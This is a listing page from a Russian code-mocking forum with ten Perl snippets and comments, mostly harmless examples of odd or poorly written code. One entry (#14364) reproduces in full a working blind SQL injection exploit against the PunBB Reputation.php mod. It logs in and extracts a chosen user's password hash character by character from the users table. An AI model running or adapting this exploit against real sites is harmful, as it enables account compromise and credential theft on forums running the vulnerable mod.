1. Perl / Говнокод #14428

    +98

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    use Carp qw(carp cluck croak confess);
    
    carp "warning";
    cluck "warning with backtrace";
    croak "fatal error";
    confess "fatal error withbacktrace";

    Говорящие имена функций такие говорящие придирчивые, кудахтающие, каркающие, исповедывающиеся...

    bormand, 28 Января 2014

    Комментарии (20)
  2. Perl / Говнокод #14421

    −59

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    sub trim
    {
        my ($string) = @_;
        for ($string)
        {
            s/^\s+//;
            s/\s+$//;
        }
        return $string;
    }

    for ($string) такой for ($string)...

    http://ideone.com/JWu2Kt

    bormand, 27 Января 2014

    Комментарии (25)
  3. Perl / Говнокод #14420

    −59

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    if ("0 but true" == 0) {
        print "Zero! ";
    }
    if ("0 but true") {
        print "But true...";
    }

    The current default implementation always returns true without actually doing anything. Actually, it returns "0 but true" which is true but zero. That way you can tell if the return value is genuine or just the default.

    http://ideone.com/8FzrUI

    Zero! But true...

    bormand, 27 Января 2014

    Комментарии (42)
  4. Perl / Говнокод #14364

    −72

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    #!/usr/bin/perl
    #[0-Day] PunBB Reputation.php Mod <= v2.0.4 Remote Blind SQL Injection Exploit
    #Coded By Dante90, WaRWolFz Crew
    #Bug Discovered By: Dante90, WaRWolFz Crew
    
    use strict;
    use LWP::UserAgent;
    use HTTP::Cookies;
    
    use HTTP::Request::Common;
    use Time::HiRes;
    use IO::Socket;
    
    my ($UserName,$PassWord,$ID) = @ARGV;
    if(@ARGV < 3){
        &usage();
        exit();
    }
    my $Message = "";
    my ($Hash,$Time,$Time_Start,$Time_End,$Response);
    my($Start,$End);
    my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,10  2);
    my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
    my $Method = HTTP::Request->new(POST => $Host);
    my $Cookies = new HTTP::Cookies;
    my $HTTP = new LWP::UserAgent(
                agent => 'Mozilla/5.0',
                max_redirect => 0,
                cookie_jar => $Cookies,
            ) or die $!;
    my $Referrer = "form_sent=1&pid=10174&poster=Dante90, WaRWolFz Crew&method=1&req_message=http://www.warwolfz.com/&submit=Invia";
    my $DefaultTime = request($Referrer);
    
    sub Login(){
        my $Login = $HTTP->post($Host.'login.php?action=in',
                    [
                        form_sent        => '1',
                        redirect_url    => 'forums.php',
                        req_username    => $UserName,
                        req_password    => $PassWord,
                        login => 'Login',
                    ]) || die $!;
    
        if($Login->content =~ /Logged in successfully./i){
            return 1;
        }else{
            return 0;
        }
    }
    if (Login() == 1){
        $Message = " * Logged in as: ".$UserName;
    }elsif (Login() == 0){
        $Message = " * Login Failed.";
        refresh($Message, $Host, $DefaultTime, "0", $Hash, $Time, "1");
        print " * Exploit Failed                                     *\n";
        print " ------------------------------------------------------ \n";
        exit;
    }
    
    sub Blind_SQL_Jnjection{
        my ($dec,$hex) = @_;
        return "Dante90, WaRWolFz Crew\" OR ASCII(SUBSTRING((SELECT `password` FROM `users` WHERE `id`=${ID}),${dec},1))=${hex}/*";
    }
    
    for(my $I=1; $I<=40; $I++){ #N Hash characters
        for(my $J=0; $J<=15; $J++){ #0 -> F
            my $Post = $HTTP->post($Host.'reputation.php?',[
                        form_sent    => '1',
                        pid            => '2',
                        poster        => Blind_SQL_Jnjection($I,$chars[$J]),
                        method        => '1',
                        req_message    => 'http://www.warwolfz.com/',
                        submit        => 'Submit',
                    ]) || die $!;
            $Time = request($Referrer);
            refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
            if($Post->content =~ /(The reputation has been successfully changed)/i){
                syswrite(STDOUT,chr($chars[$J]));
                $Hash .= chr($chars[$J]);
                $Time = request($Referrer);
                refresh($Message, $Host, $DefaultTime, $J, $Hash, $Time, $I);
                last;
            }
        }
        if($I == 1 && length $Hash < 1 && !$Hash){
            print " * Exploit Failed                                     *\n";
            print " ------------------------------------------------------ \n";
            exit;
        }
        if($I == 40){
            print " * Exploit Successed                                  *\n";
            print " ------------------------------------------------------\n ";
            system("pause");
        }
    }

    http://mybbgavno.mybb.ru/register.php

    Stertor, 15 Января 2014

    Комментарии (1)
  5. Perl / Говнокод #14107

    −55

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    #!/usr/bin/perl
    
    use strict;
    use warnings;
    use Data::Dumper;
    
    sub mymap(&@) {
        my ($code, @result) = shift;
    
        push @result, $code->() for (@_);
    
        return @result;
    }
    
    sub doit_map {
        return {
            some_key => [
                map { return $_; } qw(one)
            ]
        };
    }
    
    sub doit_mymap {
        return {
            some_key => [
                mymap { return $_; } qw(one)
            ]
        };
    }
    
    print Dumper({
        doit_mymap => doit_mymap,
        doit_map => doit_map,
    });

    Реализация mymap, конечно, заслуживает отдельного треда. But leave it... for time being.

    Вся соль в различии возвращаемых значений. В доке конечно описано почему оно так: http://perldoc.perl.org/functions/map.html. Но негативный осадок всё-же остался.

    http://ideone.com/q1HFDW

    Elvenfighter, 19 Ноября 2013

    Комментарии (8)
  6. Perl / Говнокод #14052

    −61

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    BEGIN
    {
        my $gGls; # Hash reference for global variables, settings.
    
        # To get a handle to access the global hash.
        sub getgGls
        {
            return $gGls;
        }
    
        # "Fasten" the script name on $gGls->{ 'gScriptName' } instead of the perlish awkward $0.
        $gGls->{ 'gScriptName' } = $0;
        
        # ...

    синглтоны для перла. (плюс польская нотация.)

    на книги по паттернам надо заставлять цеплять наклейки: brain damage caused by use of the design patterns might be permanent!

    Dummy00001, 22 Октября 2013

    Комментарии (68)
  7. Perl / Говнокод #13996

    +92

    1. 1
    2. 2
    3. 3
    ЦЫТАТЫ ВЕЛИКЕХ ЛЮДЕЙ:
                 "ВЪИБУКА Я МИНУС ПАТАМУШТА У МИНЯ ГАРИТ ПУКАН И Я НИЧЕВО НИМАГУ ПАДЕЛАТЬ Я ЗАТРАЛИНАЯ ЛАЛКА СУКПЗДЦ((9"
                                             -ЛАЛКА НА САЙТЕ govnokod.ru

    PragramistOtBoga, 22 Октября 2013

    Комментарии (1)
  8. Perl / Говнокод #13970

    −62

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    С'шная либа: http://fossies.org/dox/imlib2-1.4.5/image_8c_source.html
    
    смотрим код сохраняющий картинку:
    
     1241 __imlib_SaveImage(ImlibImage * im, const char *file,
     1242                   ImlibProgressFunction progress, char progress_granularity,
     1243                   ImlibLoadError * er)
    ..........................................
    ..........................................
    
     1290         *er = IMLIB_LOAD_ERROR_UNKNOWN;
     1291         if (errno == EEXIST)
     1292            *er = IMLIB_LOAD_ERROR_FILE_DOES_NOT_EXIST;
     1293         else if (errno == EISDIR)
     1294            *er = IMLIB_LOAD_ERROR_FILE_IS_DIRECTORY;
     1295         else if (errno == EISDIR)
     1296            *er = IMLIB_LOAD_ERROR_FILE_IS_DIRECTORY;
     1297         else if (errno == EACCES)
     1298            *er = IMLIB_LOAD_ERROR_PERMISSION_DENIED_TO_WRITE;
     1299         else if (errno == ENAMETOOLONG)
     1300            *er = IMLIB_LOAD_ERROR_PATH_TOO_LONG;
     1301         else if (errno == ENOENT)
     1302            *er = IMLIB_LOAD_ERROR_PATH_COMPONENT_NON_EXISTANT;
     1303         else if (errno == ENOTDIR)
     1304            *er = IMLIB_LOAD_ERROR_PATH_COMPONENT_NOT_DIRECTORY;
     1305         else if (errno == EFAULT)
     1306            *er = IMLIB_LOAD_ERROR_PATH_POINTS_OUTSIDE_ADDRESS_SPACE;
     1307         else if (errno == ELOOP)
     1308            *er = IMLIB_LOAD_ERROR_TOO_MANY_SYMBOLIC_LINKS;
     1309         else if (errno == ENOMEM)
     1310            *er = IMLIB_LOAD_ERROR_OUT_OF_MEMORY;
     1311         else if (errno == EMFILE)
     1312            *er = IMLIB_LOAD_ERROR_OUT_OF_FILE_DESCRIPTORS;
     1313         else if (errno == ENOSPC)
     1314            *er = IMLIB_LOAD_ERROR_OUT_OF_DISK_SPACE;
     1315         else if (errno == EROFS)
     1316            *er = IMLIB_LOAD_ERROR_PERMISSION_DENIED_TO_WRITE;
    
    обращаем внимание на строки *er =
    в них записываются разные типы ошибок, обращаем внимаение на то, сколько типов используется
    
    теперь берем перловую обертку: Image::Imlib2 (http://search.cpan.org/~lbrocard/Image-Imlib2-2.03/lib/Image/Imlib2.pm)
    находим метод сохранения картинки, он в xs части lib/Image/Imlib2.xs
    
    void
    Imlib2_save(image, filename)
        Image::Imlib2   image
        char * filename
    
        PROTOTYPE: $$
    
            CODE:
        {
                    Imlib_Load_Error err;
    
            imlib_context_set_image(image);
            imlib_save_image_with_error_return(filename, &err);
    
                    if (err != IMLIB_LOAD_ERROR_NONE) {
                      Perl_croak(aTHX_ "Image::Imlib2 save error: Unknown error");
                    }
        }
    
    
    imlib_save_image_with_error_return вызывает в конечном итоге __imlib_SaveImage из C'шной либы
    обращаем внимание на то, как теперь подробно можно узнать о том, почему не удалось сохранить картинку
    
    пример вывода такого кода в случае ошибки:
    
    Image::Imlib2 save error: Unknown error at BL/Class/Image.pm line 608.
    
    до тех пор, пока есть такие гении, я не беспокоюсь о своем хлебе

    m0r1k, 18 Октября 2013

    Комментарии (31)
  9. Perl / Говнокод #13671

    −58

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    sub get_number_from_possible_b64
    {
            my $s = shift;
    
            my $rv = $s;
    
            if( $s =~ /^\d+$/ )
            {
                    $rv = int( $s );
    
            } elsif( $s =~ /=$/ )
            {
                    $rv = decode_base64( $rv );
            }
    
            return $rv;
    }

    Где-то есть что-то, что либо цифорка, либо строка, оканчивающаяся на знак равенства.

    kainwinterheart, 27 Августа 2013

    Комментарии (9)
  10. Perl / Говнокод #13665

    −67

    1. 1
    2. 2
    3. 3
    4. 4
    foreach my $ex (@excluded)
    {
            .....
    }

    О чем думал, когда имя переменной давал?

    Alexandris, 25 Августа 2013

    Комментарии (28)